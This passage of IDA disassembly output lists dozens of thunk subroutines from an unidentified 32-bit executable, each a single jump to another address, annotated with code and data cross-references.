XREF: ___:0041433Cp jmp sub_414430 sub_401BF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BF9 proc near jmp sub_40C440 sub_401BF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BFE proc near ; CODE XREF: sub_425100+8Bp jmp sub_424920 sub_401BFE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C03 proc near ; CODE XREF: ___:0040B1FEp ; sub_40B250+34p ... jmp sub_40BEB0 sub_401C03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C08 proc near ; CODE XREF: sub_40B190+5Cp jmp sub_40BD50 sub_401C08 endp ; --------------------------------------------------------------------------- jmp loc_433AB0 ; --------------------------------------------------------------------------- jmp loc_432410 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C17 proc near ; CODE XREF: sub_431DC0+20p ; sub_431EF0+20p ... jmp sub_431980 sub_401C17 endp ; --------------------------------------------------------------------------- jmp loc_430020 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C21 proc near jmp sub_435AA0 sub_401C21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C26 proc near ; CODE XREF: sub_4138B0+84p ; sub_434D10+3Cp ... jmp sub_434C30 sub_401C26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C2B proc near ; CODE XREF: ___:0042D7C8p jmp sub_42C350 sub_401C2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C30 proc near ; CODE XREF: sub_42BB00+446p jmp sub_42B8E0 sub_401C30 endp ; --------------------------------------------------------------------------- jmp loc_41B720 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C3A proc near ; CODE XREF: ___:00432546p ; sub_4344C0+23p jmp sub_432DB0 sub_401C3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C3F proc near ; DATA XREF: ___:off_43F12Co jmp sub_4292E0 sub_401C3F endp ; --------------------------------------------------------------------------- jmp loc_41FD80 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C49 proc near ; CODE XREF: sub_41B0E0+8p ; ___:0041B49Dp ... jmp sub_41A110 sub_401C49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C4E proc near ; CODE XREF: sub_42B3F0+3p jmp sub_42B420 sub_401C4E endp ; --------------------------------------------------------------------------- jmp loc_41AE80 ; --------------------------------------------------------------------------- jmp loc_416A90 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C5D proc near ; CODE XREF: sub_40BE70+1Fp jmp sub_40BFA0 sub_401C5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C62 proc near ; CODE XREF: sub_415B00+9p ; sub_415C20+18p jmp sub_4166D0 sub_401C62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C67 proc near ; CODE XREF: sub_418D50+4p jmp sub_419070 sub_401C67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C6C proc near ; CODE XREF: sub_4073C0+11p ; ___:004073E7p ... jmp sub_407570 sub_401C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C71 proc near ; CODE XREF: sub_404CC0+111p ; sub_40D660+42p ... jmp sub_40A2D0 sub_401C71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C76 proc near ; CODE XREF: ___:0041326Ap ; sub_4132F0+3Cp ... jmp sub_4158D0 sub_401C76 endp ; --------------------------------------------------------------------------- jmp loc_42FCB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C80 proc near ; CODE XREF: sub_4269A0+69p jmp sub_426B10 sub_401C80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C85 proc near ; CODE XREF: sub_40B600+2Fp ; sub_40B600+6Ep ... jmp sub_40BE40 sub_401C85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C8A proc near ; CODE XREF: ___:00430078p ; ___:0043008Dp ... jmp sub_433FB0 sub_401C8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C8F proc near ; CODE XREF: sub_415450+11p ; sub_415ED0+1Fp jmp sub_4160C0 sub_401C8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401C94 proc near ; DATA XREF: ___:0043F0D4o jmp sub_41D930 sub_401C94 endp ; --------------------------------------------------------------------------- jmp loc_419A10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C9E proc near ; CODE XREF: sub_4073C0+9p ; sub_418E80+18p jmp sub_407610 sub_401C9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CA3 proc near ; CODE XREF: sub_4132C0+3p ; ___:00416C3Bp ... jmp sub_4132F0 sub_401CA3 endp ; --------------------------------------------------------------------------- jmp loc_40B8F0 ; --------------------------------------------------------------------------- loc_401CAD: ; DATA XREF: ___:off_43F05Co jmp loc_416D90 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CB7 proc near ; CODE XREF: ___:00416F6Ap jmp sub_4182B0 sub_401CB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CBC proc near ; CODE XREF: sub_415BA0+Cp ; sub_415BA0+43p jmp sub_4166A0 sub_401CBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CC1 proc near ; CODE XREF: sub_4096E0+45p jmp sub_4099C0 sub_401CC1 endp ; --------------------------------------------------------------------------- jmp loc_434430 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CD0 proc near ; CODE XREF: sub_410030+3A4p jmp sub_40A0E0 sub_401CD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CD5 proc near ; CODE XREF: sub_4077E0+6BEp ; ___:00407F45p ... jmp sub_407740 sub_401CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CDA proc near ; CODE XREF: sub_415500+14p ; sub_415540+9p ... jmp sub_416190 sub_401CDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CDF proc near ; CODE XREF: sub_4096E0+144p jmp sub_409A50 sub_401CDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CE4 proc near ; CODE XREF: sub_404690+1C2p ; sub_404B60+36p ... jmp sub_4134A0 sub_401CE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401CE9 proc near ; CODE XREF: sub_4151C0+34p ; sub_415C20+67p jmp sub_415DC0 sub_401CE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CEE proc near jmp sub_409B80 sub_401CEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CF3 proc near ; DATA XREF: ___:0043F06Co jmp sub_41FD00 sub_401CF3 endp ; --------------------------------------------------------------------------- jmp loc_42F3A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401CFD proc near ; CODE XREF: sub_40BF70+5p jmp sub_40C1D0 sub_401CFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D02 proc near ; CODE XREF: ___:0043242Fp jmp sub_430520 sub_401D02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D07 proc near ; CODE XREF: sub_421E50+11p ; ___:00421E77p ... jmp sub_422400 sub_401D07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D0C proc near ; DATA XREF: ___:0043F048o jmp sub_4132C0 sub_401D0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D11 proc near ; CODE XREF: sub_415890+1Fp jmp sub_416220 sub_401D11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D16 proc near ; CODE XREF: sub_40F6D0+1ACp ; sub_40F6D0+1EDp ... jmp sub_40F660 sub_401D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D1B proc near ; CODE XREF: sub_413E70+15Cp jmp sub_414160 sub_401D1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D20 proc near ; CODE XREF: sub_404C70+23p ; sub_410030+13C2p jmp sub_412BF0 sub_401D20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D25 proc near ; CODE XREF: ___:00416F2Fp jmp sub_418150 sub_401D25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D2A proc near ; CODE XREF: sub_407590+7p ; sub_40C2E0+7p ... jmp sub_407630 sub_401D2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D2F proc near ; CODE XREF: sub_40A8F0+1Ap ; sub_40A9A0+4p ... jmp sub_40A960 sub_401D2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D34 proc near ; CODE XREF: sub_404690+289p ; sub_404690+2ADp ... jmp sub_40A180 sub_401D34 endp ; --------------------------------------------------------------------------- jmp loc_4305A0 ; --------------------------------------------------------------------------- loc_401D3E: ; DATA XREF: ___:0043F154o jmp loc_4295B0 ; --------------------------------------------------------------------------- jmp loc_42F970 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D48 proc near jmp sub_404010 sub_401D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D4D proc near ; CODE XREF: sub_4120B0+123p ; sub_4120B0+1E2p jmp sub_412780 sub_401D4D endp ; --------------------------------------------------------------------------- jmp loc_41B570 ; --------------------------------------------------------------------------- jmp loc_40B870 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D5C proc near ; CODE XREF: sub_421D80+5p jmp sub_4222E0 sub_401D5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D61 proc near ; CODE XREF: sub_415F70+5Fp jmp sub_416790 sub_401D61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D66 proc near ; CODE XREF: sub_41D930+2C7p jmp sub_42FD30 sub_401D66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D6B proc near ; CODE XREF: sub_418CA0+7p jmp sub_418F40 sub_401D6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D70 proc near ; CODE XREF: sub_413740+5Dp ; sub_413740+9Bp ... jmp sub_415420 sub_401D70 endp ; --------------------------------------------------------------------------- jmp loc_437390 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D7A proc near ; CODE XREF: sub_415820+14p ; sub_415860+9p ... jmp sub_4164E0 sub_401D7A endp ; --------------------------------------------------------------------------- jmp loc_40B960 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D84 proc near ; CODE XREF: sub_4341C0+98p jmp sub_431950 sub_401D84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D89 proc near ; CODE XREF: sub_421C60+14p ; sub_421CA0+9p ... jmp sub_4222B0 sub_401D89 endp ; --------------------------------------------------------------------------- jmp loc_42DAD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401D93 proc near jmp sub_41C490 sub_401D93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D98 proc near ; CODE XREF: sub_418AB0+14p ; sub_418AF0+9p ... jmp sub_418E20 sub_401D98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401D9D proc near ; CODE XREF: sub_413740+53p ; sub_413740+91p ... jmp sub_415270 sub_401D9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DA2 proc near ; CODE XREF: sub_422B40+56p jmp sub_426B90 sub_401DA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DA7 proc near ; CODE XREF: sub_422B40+18Ap jmp sub_426A90 sub_401DA7 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DB1 proc near ; CODE XREF: sub_429330+81p jmp sub_428DC0 sub_401DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DB6 proc near ; CODE XREF: sub_415770+11p ; sub_416220+1Fp jmp sub_416410 sub_401DB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DBB proc near ; CODE XREF: sub_415230+14p ; sub_415270+9p ... jmp sub_415E40 sub_401DBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DC0 proc near ; CODE XREF: ___:004147E3p jmp sub_4145A0 sub_401DC0 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_425DC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DCF proc near ; CODE XREF: sub_428260+90p jmp sub_428810 sub_401DCF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DD4 proc near ; CODE XREF: ___:0042C468p jmp sub_42C1B0 sub_401DD4 endp ; --------------------------------------------------------------------------- jmp loc_4141F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DDE proc near ; CODE XREF: sub_434AD0+74p jmp sub_432AE0 sub_401DDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DE3 proc near ; CODE XREF: sub_41FB90+1Dp jmp sub_40B150 sub_401DE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DE8 proc near ; CODE XREF: sub_40AAD0+45p jmp sub_40AD50 sub_401DE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401DED proc near ; CODE XREF: ___:0043062Dp ; ___:00430752p ... jmp sub_432C80 sub_401DED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DF2 proc near ; CODE XREF: ___:00426F24p jmp sub_4281A0 sub_401DF2 endp ; --------------------------------------------------------------------------- jmp loc_432D50 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401DFC proc near ; CODE XREF: sub_410030+AE7p ; sub_410030+E5Dp jmp sub_41EF70 sub_401DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E01 proc near ; CODE XREF: sub_40AD80+Ap jmp sub_40AE70 sub_401E01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E06 proc near ; CODE XREF: ___:00416B3Bp ; ___:0043B27Aj ... jmp sub_417BE0 sub_401E06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E0B proc near ; CODE XREF: sub_421F80+4p jmp sub_422420 sub_401E0B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E10 proc near ; CODE XREF: sub_40C4E0+271p ; sub_425100+50p ... jmp sub_423760 sub_401E10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E15 proc near ; CODE XREF: ___:0041627Ap jmp sub_416860 sub_401E15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E1A proc near ; CODE XREF: sub_415DC0+7p jmp sub_4165C0 sub_401E1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E1F proc near ; CODE XREF: sub_41D930+19Bp jmp sub_42DA80 sub_401E1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E24 proc near ; CODE XREF: sub_404CC0+835p ; sub_404CC0+B62p ... jmp sub_4129D0 sub_401E24 endp ; --------------------------------------------------------------------------- jmp sub_4132C0 ; --------------------------------------------------------------------------- jmp sub_429510 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E33 proc near ; CODE XREF: sub_415490+34p ; sub_415F70+67p jmp sub_416110 sub_401E33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E38 proc near ; CODE XREF: sub_413740+31p ; sub_4145A0+2Dp jmp sub_4153B0 sub_401E38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E3D proc near ; CODE XREF: sub_40CC90+1F1p ; ___:00423FBFp ... jmp sub_426930 sub_401E3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E42 proc near ; CODE XREF: sub_4159F0+3p jmp sub_4164C0 sub_401E42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E47 proc near ; CODE XREF: sub_404690+97p ; sub_404690+107p ... jmp sub_40A4A0 sub_401E47 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_426020 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E56 proc near ; CODE XREF: ___:00423DFAp jmp sub_423950 sub_401E56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E5B proc near ; CODE XREF: ___:00421E0Ap jmp sub_422310 sub_401E5B endp ; --------------------------------------------------------------------------- jmp loc_416E30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401E65 proc near jmp sub_4368D0 sub_401E65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E6A proc near ; DATA XREF: ___:off_43F098o jmp sub_4369E0 sub_401E6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E6F proc near ; CODE XREF: ___:004337FFp jmp sub_4310A0 sub_401E6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E74 proc near ; CODE XREF: sub_4166A0+5p jmp sub_4168F0 sub_401E74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E79 proc near ; CODE XREF: sub_404CC0+28Dp ; sub_41D930+6A3p jmp sub_40DC20 sub_401E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E7E proc near ; CODE XREF: sub_422510+5Fp jmp sub_422700 sub_401E7E endp ; --------------------------------------------------------------------------- jmp loc_419F90 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E88 proc near ; CODE XREF: sub_40F6D0+22p ; sub_411930+1Dp ... jmp sub_40AEA0 sub_401E88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E8D proc near ; CODE XREF: sub_40AAD0+112p ; sub_40AAD0+153p jmp sub_40ADB0 sub_401E8D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E92 proc near ; DATA XREF: ___:off_43F0C0o jmp sub_41B110 sub_401E92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E97 proc near ; CODE XREF: sub_4156D0+3p jmp sub_416170 sub_401E97 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401E9C proc near ; CODE XREF: sub_427C50+1Ap jmp sub_427B10 sub_401E9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EA1 proc near ; CODE XREF: ___:00416C0Bp ; ___:0043B1C4j ... jmp sub_4176E0 sub_401EA1 endp ; --------------------------------------------------------------------------- jmp loc_4331B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EAB proc near ; CODE XREF: sub_4201F0+3Ap jmp sub_420400 sub_401EAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EB0 proc near ; DATA XREF: ___:0043F114o jmp sub_428260 sub_401EB0 endp ; --------------------------------------------------------------------------- jmp loc_433AF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401EBA proc near ; CODE XREF: sub_416410+4p jmp sub_416810 sub_401EBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EBF proc near ; CODE XREF: sub_415920+5Bp ; sub_4162C0+11p ... jmp sub_416510 sub_401EBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EC4 proc near ; CODE XREF: sub_415740+5p jmp sub_4161F0 sub_401EC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EC9 proc near ; CODE XREF: sub_424920+151p jmp sub_4248E0 sub_401EC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ECE proc near ; CODE XREF: ___:00416BABp ; ___:0043B218j ... jmp sub_417930 sub_401ECE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ED3 proc near ; CODE XREF: sub_4153B0+3p jmp sub_415E20 sub_401ED3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401ED8 proc near ; CODE XREF: sub_415100+11p ; sub_415140+13p ... jmp sub_415D70 sub_401ED8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EDD proc near ; CODE XREF: sub_421A60+14p ; sub_421AA0+9p ... jmp sub_422050 sub_401EDD endp ; --------------------------------------------------------------------------- jmp loc_418960 ; --------------------------------------------------------------------------- jmp loc_41C350 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EEC proc near ; CODE XREF: sub_418F90+18p ; sub_421DB0+9p jmp sub_419150 sub_401EEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401EF1 proc near ; CODE XREF: sub_422640+Ap jmp sub_4227E0 sub_401EF1 endp ; --------------------------------------------------------------------------- jmp loc_41BD50 ; --------------------------------------------------------------------------- jmp loc_433BA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F00 proc near ; CODE XREF: ___:00416B0Bp ; ___:0043B2A4j ... jmp sub_417C20 sub_401F00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F05 proc near ; CODE XREF: sub_40A8F0+13p jmp loc_40AA30 sub_401F05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F0A proc near ; CODE XREF: sub_41B160:loc_41B1ACp ; sub_41BA50+54p ... jmp sub_4199A0 sub_401F0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F0F proc near ; CODE XREF: ___:00414395p jmp sub_415570 sub_401F0F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F14 proc near ; CODE XREF: sub_4157B0+34p ; sub_4162C0+67p jmp sub_416460 sub_401F14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F19 proc near ; CODE XREF: sub_4153D0+3p ; ___:00415B4Fp ... jmp sub_415E00 sub_401F19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F1E proc near jmp sub_412CE0 sub_401F1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F23 proc near ; CODE XREF: sub_4131F0+4Dp jmp sub_415450 sub_401F23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F28 proc near ; CODE XREF: sub_407140+5Cp ; sub_418F60+3p jmp sub_407360 sub_401F28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F2D proc near ; CODE XREF: ___:00419203p jmp sub_419270 sub_401F2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F32 proc near ; CODE XREF: ___:0040BFFAp jmp sub_40C330 sub_401F32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F37 proc near ; CODE XREF: ___:0042C44Fp jmp sub_42C0A0 sub_401F37 endp ; --------------------------------------------------------------------------- loc_401F3C: ; DATA XREF: ___:off_43F08Co jmp loc_435B90 ; --------------------------------------------------------------------------- loc_401F41: ; DATA XREF: ___:00424194o jmp loc_423D10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F46 proc near ; CODE XREF: ___:00416B6Bp ; ___:0043B250j ... jmp sub_417B40 sub_401F46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F4B proc near ; CODE XREF: sub_413C40+99p jmp sub_413E10 sub_401F4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F50 proc near ; CODE XREF: sub_40B470+3Dp ; ___:0040BC0Dp ... jmp sub_40B7E0 sub_401F50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F55 proc near ; CODE XREF: ___:loc_423DA7p jmp sub_423820 sub_401F55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F5A proc near ; CODE XREF: sub_404CC0+A38p jmp sub_4068E0 sub_401F5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F5F proc near ; DATA XREF: ___:off_43F1A0o jmp sub_42C640 sub_401F5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F64 proc near ; CODE XREF: sub_413A80+72p jmp sub_413740 sub_401F64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F69 proc near ; CODE XREF: sub_418430+5Fp ; sub_418A40+1Ap ... jmp sub_418AB0 sub_401F69 endp ; --------------------------------------------------------------------------- jmp loc_430290 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F73 proc near ; CODE XREF: sub_42F6F0+B5p jmp sub_42E5B0 sub_401F73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F78 proc near ; CODE XREF: sub_40B600+4Bp ; sub_40B600:loc_40B68Bp ... jmp sub_40BF20 sub_401F78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401F7D proc near jmp sub_41E500 sub_401F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F82 proc near ; CODE XREF: sub_40A510+142p jmp sub_40A8F0 sub_401F82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F87 proc near ; CODE XREF: sub_404690+35Dp ; sub_404690+39Ep jmp sub_404B60 sub_401F87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F8C proc near ; CODE XREF: sub_415ED0+9p ; sub_415F70+18p jmp sub_4167D0 sub_401F8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F91 proc near ; CODE XREF: sub_432E20+1Bp jmp sub_432ED0 sub_401F91 endp ; --------------------------------------------------------------------------- jmp loc_42C2C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401F9B proc near ; CODE XREF: sub_427740+1Dp ; sub_427C90+1Dp ... jmp sub_4277B0 sub_401F9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FA0 proc near ; CODE XREF: sub_4290B0+1Dp ; sub_429450+1Fp ... jmp sub_429120 sub_401FA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FA5 proc near ; CODE XREF: ___:0042B063p jmp sub_42B090 sub_401FA5 endp ; --------------------------------------------------------------------------- jmp loc_406C20 ; --------------------------------------------------------------------------- jmp loc_40D540 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FB4 proc near ; CODE XREF: sub_4096E0+112p ; sub_4096E0+153p jmp sub_409A20 sub_401FB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FB9 proc near ; CODE XREF: sub_422700+5p jmp sub_422870 sub_401FB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FBE proc near ; CODE XREF: sub_407390+5p jmp sub_407540 sub_401FBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FC3 proc near ; CODE XREF: sub_413740+6Fp ; sub_413740+DBp ... jmp sub_4153D0 sub_401FC3 endp ; --------------------------------------------------------------------------- jmp loc_42CB20 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FCD proc near ; CODE XREF: sub_4152E0+6Ap ; sub_415CE0+32p jmp sub_415C20 sub_401FCD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FD2 proc near jmp sub_40F100 sub_401FD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FD7 proc near ; CODE XREF: sub_412BF0+3p jmp sub_412C20 sub_401FD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FDC proc near ; CODE XREF: sub_404690+48p ; sub_404690+5Dp ... jmp sub_409E00 sub_401FDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FE1 proc near ; DATA XREF: ___:off_43F090o jmp sub_419A50 sub_401FE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FE6 proc near ; CODE XREF: sub_41A1E0+3p ; sub_41B140+9j ... jmp sub_41A210 sub_401FE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401FEB proc near ; CODE XREF: sub_40BD90+34p ; sub_40C200+67p jmp sub_40C120 sub_401FEB endp ; --------------------------------------------------------------------------- jmp loc_433980 ; --------------------------------------------------------------------------- loc_401FF5: ; DATA XREF: ___:off_43F094o jmp loc_436570 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401FFA proc near jmp sub_40F180 sub_401FFA endp ; --------------------------------------------------------------------------- jmp loc_4375F0 ; --------------------------------------------------------------------------- loc_402004: ; DATA XREF: ___:0043F03Co jmp loc_41EEB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402009 proc near ; CODE XREF: sub_41F960+5Ap jmp sub_420040 sub_402009 endp ; --------------------------------------------------------------------------- jmp loc_431670 ; =============== S U B R O U T I N E ======================================= 